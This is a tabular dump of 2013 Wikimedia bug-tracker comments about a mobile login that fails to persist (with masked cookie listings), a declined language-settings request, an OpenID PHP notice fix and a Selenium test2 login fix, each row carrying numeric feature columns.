centralauth_LoggedOut	xxx	/	.wikipedia.org	Wed Aug 14 10:43:58 2013
mfsecure	1	/	.wikipedia.org	Mon Jul 15 11:51:50 2013
enwiki_session	xxx	/	en.m.wikipedia.org	End Of Session
centralnotice_bucket	0-4.2	/	en.m.wikipedia.org	Mon Jul 22 09:54:35 2013
enwikiLoggedOut	xxx	/	en.m.wikipedia.org	Tue Jul 16 10:43:58 2013

received:
centralauth_User	Jdlrobson	/	.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
centralauth_Token	deleted	/	.wikipedia.org	Thu, 01-Jan-1970 00:00:01 GMT
centralauth_Session	xxx	/	.wikipedia.org	End Of Session
enwikiUserID	xxx	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
enwikiUserName	Jdlrobson	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
enwikiToken	deleted	/	en.m.wikipedia.org	Thu, 01-Jan-1970 00:00:01 GMT
enwikiforceHTTPS	true	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
enwiki_session	xxx	/	en.m.wikipedia.org	End Of Session

On desktop site:

Sent:
uls-previous-languages	xxx	/w/	en.wikipedia.org	End Of Session
ext.moodBar%403-tooltip	1	/	en.wikipedia.org	Sat Aug  3 15:03:44 2013
mediaWiki.user.id	xxx	/	en.wikipedia.org	Thu Oct 17 15:13:09 2013
wikimedia-SUL-final-CN-general	5	/	en.wikipedia.org	Thu May  8 22:24:51 2014
centralnotice_bucket	1-4.2	/	en.wikipedia.org	Mon Jul 22 10:44:50 2013
enwiki_session	xxx	/	en.wikipedia.org	End Of Session

Received:
centralauth_User	Jdlrobson	/	.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
centralauth_Token	xxx	/	.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
centralauth_Session	xxx	/	.wikipedia.org	End Of Session
enwikiUserID	xxx	/	en.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
enwikiUserName	Jdlrobson	/	en.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
enwiki_session	xxx	/	en.wikipedia.org	End Of Session

--------------------------
**Version**: unspecified
**Severity**: major"
244548,Mobile cannot keep a login for more than 2 days,silly error. Remember wasn't checked on logins..,,,1374026098,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mkcld7d34ycwol6vtp7o,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,silly error. Remember wasn't checked on logins..
244539,Mobile cannot keep a login for more than 2 days,"More than two days? Maybe it's this Explorer browser in Windows Phone but try the following:

1. Go to your Watchlist on en.wiki, logging in if needed.

2. Turn off & on your device to make sure no browser sessions or temporary caches are left.

3. Go back to your Watchlist on en.wiki.

Do you need to login again? I have to.",,,1373954931,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mkcld7d34ycwol6vtp7o,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,15.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,8.0,17.0,9.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,3.448717948717949,0.7051282051282052,"More than two days? Maybe it's this Explorer browser in Windows Phone but try the following:

1. Go to your Watchlist on en.wiki, logging in if needed.

2. Turn off & on your device to make sure no browser sessions or temporary caches are left.

3. Go back to your Watchlist on en.wiki.

Do you need to login again? I have to."
53358,"Request link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users, or","Hi,

When not-logged in (ip) user  goes to language >> language settings >>Display language (which he currently can not change without being logged in) >> if he selects link log in and logs in >>Requested enhancement : ULS language setting  display should be open next to [[MediaWiki:Loginsuccess]] or ''best thing is link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users'' 

*Purpose: To complete users expected logical next step of action of language selection in smooth manner.  






*To understand further the need for above request,please do refer to survey
data and analysis provided at
http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1373887200,1373888575.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-25pabufiiuelr52bhkwn,task_description,declined,True,c2,1,False,False,True,-7,True,0.5,0.0,0.0,0.5,1.0,4.0,0.5,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,1.5,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,1.0,3.0,1.5,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,1.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.5,9.0,1.0,1.5,2.5,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,1.0,11.0,3.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,4.0,3.9285714285714284,0.6753246753246753,"Hi,

When not-logged in (ip) user  goes to language >> language settings >>Display language (which he currently can not change without being logged in) >> if he selects link log in and logs in >>Requested enhancement : ULS language setting  display should be open next to [[MediaWiki:Loginsuccess]] or ''best thing is link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users'' 

*Purpose: To complete users expected logical next step of action of language selection in smooth manner.  






*To understand further the need for above request,please do refer to survey
data and analysis provided at
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
243468,"Request link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users, or","Thanks for the feedback, Mahitgar. As Niklas explains, this feature request will not be prioritized for development.",,,1373888575,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-25pabufiiuelr52bhkwn,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,0.8571428571428571,"Thanks for the feedback, Mahitgar. As Niklas explains, this feature request will not be prioritized for development."
243464,"Request link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users, or","The proposed solution is not going to happen for few reasons:
* Anonymous users cannot change language in WMF projects, but this is possible for example in translatewiki.net
* The login success page is only displayed for WMF projects, but even there it will go away soon. [1]

[1] https://meta.wikimedia.org/wiki/Tech/News/2013/29",,,1373888200,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-25pabufiiuelr52bhkwn,task_subcomment,,True,c2,1,False,,,-7,True,2.0,0.0,0.0,2.0,3.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,10.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,10.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.838709677419355,0.7419354838709677,"The proposed solution is not going to happen for few reasons:
* Anonymous users cannot change language in WMF projects, but this is possible for example in translatewiki.net
* The login success page is only displayed for WMF projects, but even there it will go away soon. [1]

[1] URL"
52430,Undefined Offsets in OpenIDLogin for Strict PHP,"Fixed file - ready for commit to REL1_21

When logging into OpenID (At least with myopenid),

Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 524
Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 556
Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 556

This is caused by using a non-existent array key and shows up as an error.

I haven't checked the current head, but the attached patch fixes REL1_21

(Two files, one patch, one fixed REL1_21)

--------------------------
**Version**: master
**Severity**: normal

**Attached**: {F11326}",Needs Triage,90.0,1372532400,1372832624.0,PHID-USER-yfwoua5cg65ujblo3pyn,False,,False,PHID-TASK-x3ysesh3fklj3m55mj6t,task_description,resolved,True,c2,1,False,False,True,-9,True,0.0,0.0,0.0,0.5,0.5,5.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,14.5,0.5,1.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,7.5,7.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,1.0,0.0,0.5,0.0,4.04225352112676,0.5915492957746479,"Fixed file - ready for commit to REL1_21

When logging into OpenID (At least with myopenid),

Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 524
Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 556
Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 556

This is caused by using a non-existent array key and shows up as an error.

I haven't checked the current head, but the attached patch fixes REL1_21

(Two files, one patch, one fixed REL1_21)

--------------------------
**Version**: master
**Severity**: normal

**Attached**: {F11326}"
238742,Undefined Offsets in OpenIDLogin for Strict PHP,fixed by merging https://gerrit.wikimedia.org/r/71258,,,1372832624,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,6.0,1.0,fixed by merging GERRIT_URL
238734,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71258 merged by Wikinaut:
fixed null array error for fullname/email in AX array

https://gerrit.wikimedia.org/r/71258",,,1372832324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,0.95,"Change 71258 merged by Wikinaut:
fixed null array error for fullname/email in AX array

GERRIT_URL"
238725,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71258 had a related patch set uploaded by Parent5446:
(bug 50430) Generates null array errors strict php mode for fullname and email

https://gerrit.wikimedia.org/r/71258",,,1372570461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.482758620689655,1.0,"Change 71258 had a related patch set uploaded by Parent5446:
(bug 50430) Generates null array errors strict php mode for fullname and email

GERRIT_URL"
238716,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71256 abandoned by Parent5446:
Generates null array errors in strict php mode for fullname and email

Reason:
This is the same as https://gerrit.wikimedia.org/r/71258. I'm guessing there was some error when uploading the patchset.

https://gerrit.wikimedia.org/r/71256",,,1372570430,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,5.0,18.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.386363636363637,0.8636363636363636,"Change 71256 abandoned by Parent5446:
Generates null array errors in strict php mode for fullname and email

Reason:
This is the same as GERRIT_URL. I'm guessing there was some error when uploading the patchset.

GERRIT_URL"
238708,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71256 had a related patch set uploaded by Parent5446:
(bug 50430) Generates null array errors in strict php mode for fullname and email

https://gerrit.wikimedia.org/r/71256",,,1372570158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 71256 had a related patch set uploaded by Parent5446:
(bug 50430) Generates null array errors in strict php mode for fullname and email

GERRIT_URL"
238700,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71258 had a related patch set uploaded by Jpond:
(bug 50430) Generates null array errors strict php mode for fullname and email

https://gerrit.wikimedia.org/r/71258",,,1372560349,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.310344827586207,1.0,"Change 71258 had a related patch set uploaded by Jpond:
(bug 50430) Generates null array errors strict php mode for fullname and email

GERRIT_URL"
238693,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71256 had a related patch set uploaded by Jpond:
(bug 50430) Generates null array errors in strict php mode for fullname and email

https://gerrit.wikimedia.org/r/71256",,,1372556790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.233333333333333,1.0,"Change 71256 had a related patch set uploaded by Jpond:
(bug 50430) Generates null array errors in strict php mode for fullname and email

GERRIT_URL"
238688,Undefined Offsets in OpenIDLogin for Strict PHP,"Hi Jack! Thanks for your patch!

You are welcome to use Developer access
  https://www.mediawiki.org/wiki/Developer_access
to submit this as a Git branch directly into Gerrit:
  https://www.mediawiki.org/wiki/Git/Tutorial

Putting your branch in Git makes it easier to review it quickly.
Thanks again! We appreciate your contribution.",,,1372535399,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,24.0,0.0,0.0,4.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,13.0,13.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.890909090909091,0.7272727272727273,"Hi Jack! Thanks for your patch!

You are welcome to use Developer access
  URL
to submit this as a Git branch directly into Gerrit:
  URL

Putting your branch in Git makes it easier to review it quickly.
Thanks again! We appreciate your contribution."
238683,Undefined Offsets in OpenIDLogin for Strict PHP,"Patch file for REL1_21

Patch file to correct index bug in REL1_21

**Attached**: {F11327}",,,1372533785,,PHID-USER-yfwoua5cg65ujblo3pyn,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4347826086956523,0.6956521739130435,"Patch file for REL1_21

Patch file to correct index bug in REL1_21

**Attached**: {F11327}"
52130,fix Login method for test2,"Selenium_user is now a Global account. 

Because of that, login at test2.wikipedia.org redirects to login.wikipedia.org before returning to test2. This is ""SUL"" I believe.

This breaks our idea of what visit() and on() mean in term of pages for logged-in users, and all of the tests that require @login for test2wiki now fail. 

I have disabled the test2 builds until we can resolve how to login both with SUL and without.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49708
https://bugzilla.wikimedia.org/show_bug.cgi?id=47843",Needs Triage,90.0,1372108980,1373556180.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-s6ejivpq4tcwi66l7olw,task_description,resolved,True,c2,1,False,False,True,-10,True,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,3.0,10.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,2.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.5,2.5,0.0,0.0,1.0,0.0,0.0,9.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,1.0,10.0,1.5,2.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.5,10.5,5.0,0.0,1.0,0.0,2.5,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,3.775,0.7083333333333333,"Selenium_user is now a Global account. 

Because of that, login at test2.wikipedia.org redirects to login.wikipedia.org before returning to test2. This is ""SUL"" I believe.

This breaks our idea of what visit() and on() mean in term of pages for logged-in users, and all of the tests that requireSCREEN_NAME for test2wiki now fail. 

I have disabled the test2 builds until we can resolve how to login both with SUL and without.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**See Also**:
URL
URL"
246682,fix Login method for test2,this is a result of bug 50334,,,1372691031,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,this is a result of bug 50334
246676,fix Login method for test2,"Also see bug 49708, bug 47843",,,1372670746,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"Also see bug 49708, bug 47843"
246672,fix Login method for test2,"Change 70986 merged by Cmcmahon:
Fix logging in at test2.wikipedia.org

https://gerrit.wikimedia.org/r/70986",,,1372434969,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,21.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.285714285714286,1.0,"Change 70986 merged by Cmcmahon:
Fix logging in at test2.wikipedia.org

GERRIT_URL"
246669,fix Login method for test2,"Change 70986 had a related patch set uploaded by Zfilipin:
Fix logging in at test2.wikipedia.org

https://gerrit.wikimedia.org/r/70986",,,1372392824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,1.0,"Change 70986 had a related patch set uploaded by Zfilipin:
Fix logging in at test2.wikipedia.org

GERRIT_URL"
